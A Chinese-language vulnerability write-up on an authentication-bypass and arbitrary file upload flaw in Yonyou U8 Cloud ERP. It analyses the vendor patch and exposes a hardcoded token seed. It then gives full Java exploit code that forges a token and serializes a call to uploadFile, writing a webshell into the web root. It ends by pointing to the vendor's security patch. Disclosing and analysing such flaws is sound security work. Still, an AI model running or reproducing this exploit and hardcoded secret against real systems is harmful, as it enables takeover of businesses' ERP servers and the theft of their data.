用友U8Cloud所有版本ServiceDispatcherServlet反序列化补丁绕过文件上传漏洞
攻击者通过利用易受攻击的代码,绕过鉴权并实现任意文件上传,造成严重的系统损害。
简介
U8 cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案,全面支持多组织业务协同、营销创新、智能财务、人力服务,构建产业链制造平台,融合用友云服务,实现企业互联网资源连接、共享、协同,赋能中国成长型企业高速发展、云化创新。
漏洞描述
攻击者通过利用易受攻击的代码,绕过鉴权并实现任意文件上传,造成严重的系统损害。
影响版本
2.0 2.1 2.3 2.5 2.6 2.65 2.7 3.0 3.1 3.2 3.5 3.6 5.0 5.0sp 5.1 5.1sp
前置内容
在U8Cloud中其中的一种路由分发方式是通过nc.bs.framework.comn.serv.ServiceDispatcher#execCall方法调度执行,而在执行具体的方法之前则是通过TokenUtil#vertifyToken方法来进行鉴权的。
可以看到这里的鉴权方式是通过将Token种子与用户名MD5之后转为16进制进行比较,结果一致时验证通过。
补丁分析
补丁共修改了三处地方:
-
fw.jar中的nc.bs.framework.server.token.TokenUtil类的构造方法 -
${NCHOME}/ierp/bin/token/trustServiceList.conf配置文件 -
nc.impl.hr.tools.trans.FileTransImpl#FileTransImpl方法
首先看TokenUtil类的构造方法,此处的Token种子是从${NCHOME}/ierp/bin/token/tokenSeed.conf配置文件中读取的。
而补丁则改为了读取${NCHOME}/ierp/bin/token/Tenant.properties配置文件的tenantId租户字段。
通过代码和线上环境可以确认这是一个硬编码Token种子的漏洞。(值为ab7d823e-03ef-39c1-9947-060a0a08b931)
其次是在FileTransImpl#uploadFile方法中限定了写入文件的路径不能是Web目录。
因此通过该漏洞就实现了鉴权的绕过,配合补丁修复的后台任意文件上传漏洞即可实现组合。需要注意的是ServiceDispatcher#execCall方法在通过反序列化还原InvocationInfo对象时使用的是自身重写的方法,其会先通过nc.bs.framework.comn.NetObjectInputStream#readInt方法读取要反序列化的字节长度。
通过读取前四个字节进行位移运算。
漏洞利用
构造InvocationInfo对象指定调用要执行的服务和方法名称,生成一个包含Webshell文件的压缩包,并指定路径为Web目录,序列化对象并在开头加上长度信息。
public class U8C {
public static void main(String[] args) throws Exception {
// 读取要写入的文件内容
File file = new File("shell.jsp");
byte[] bytes = new byte[(int) file.length()];
FileInputStream fis = new FileInputStream(file);
fis.read(bytes);
// 构造恶意的压缩包
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);
ZipEntry entry = new ZipEntry("compressed");
zipOutputStream.putNextEntry(entry);
zipOutputStream.write(bytes);
zipOutputStream.closeEntry();
zipOutputStream.close();
// 构造InvocationInfo对象,将shell写入根目录
byte[] compressed = byteArrayOutputStream.toByteArray();
byteArrayOutputStream.close();
Class[] parametertypes = new Class[]{byte[].class, String.class};
Object[] parameters = new Object[]{compressed, "webapps/u8c_web/1.jsp"};
InvocationInfo info = new InvocationInfo("nc.itf.hr.tools.IFileTrans", "uploadFile", parametertypes, parameters);
info.setToken(genToken());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
NetObjectOutputStream netObj = new NetObjectOutputStream(baos);
netObj.writeObject(info);
netObj.finish();
netObj.flush();
byte[] bytes1 = {(byte) ((baos.size() >>> 24) & 255), (byte) ((baos.size() >>> 16) & 255), (byte) ((baos.size() >>> 8) & 255), (byte) ((baos.size() >>> 0) & 255)};
byte[] bytes2 = baos.toByteArray();
String hexString1 = DatatypeConverter.printHexBinary(bytes1);
String hexString2 = DatatypeConverter.printHexBinary(bytes2);
System.out.println(hexString1 + hexString2);
}
public static String genToken() throws Exception {
byte[] md5 = md5("ab7d823e-03ef-39c1-9947-060a0a08b931".getBytes(), "#UAP#".getBytes());
return MD5Util.byteToHexString(md5);
}
private static byte[] md5(byte[] key, byte[] tokens) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("SHA-1");
md.update(tokens);
md.update(key);
return md.digest();
} catch (Exception e) {
throw new FrameworkRuntimeException("md5 error", e);
}
}访问文件路径。
解决方案
升级补丁<U8cloud所有版本ServiceDispatcherServlet反序列化补丁绕过实现文件上传漏洞的安全补丁>[1]
参考链接
[1] 关于U8cloud所有版本存在ServiceDispatcherServlet反序列化补丁绕过实现文件上传漏洞的安全公告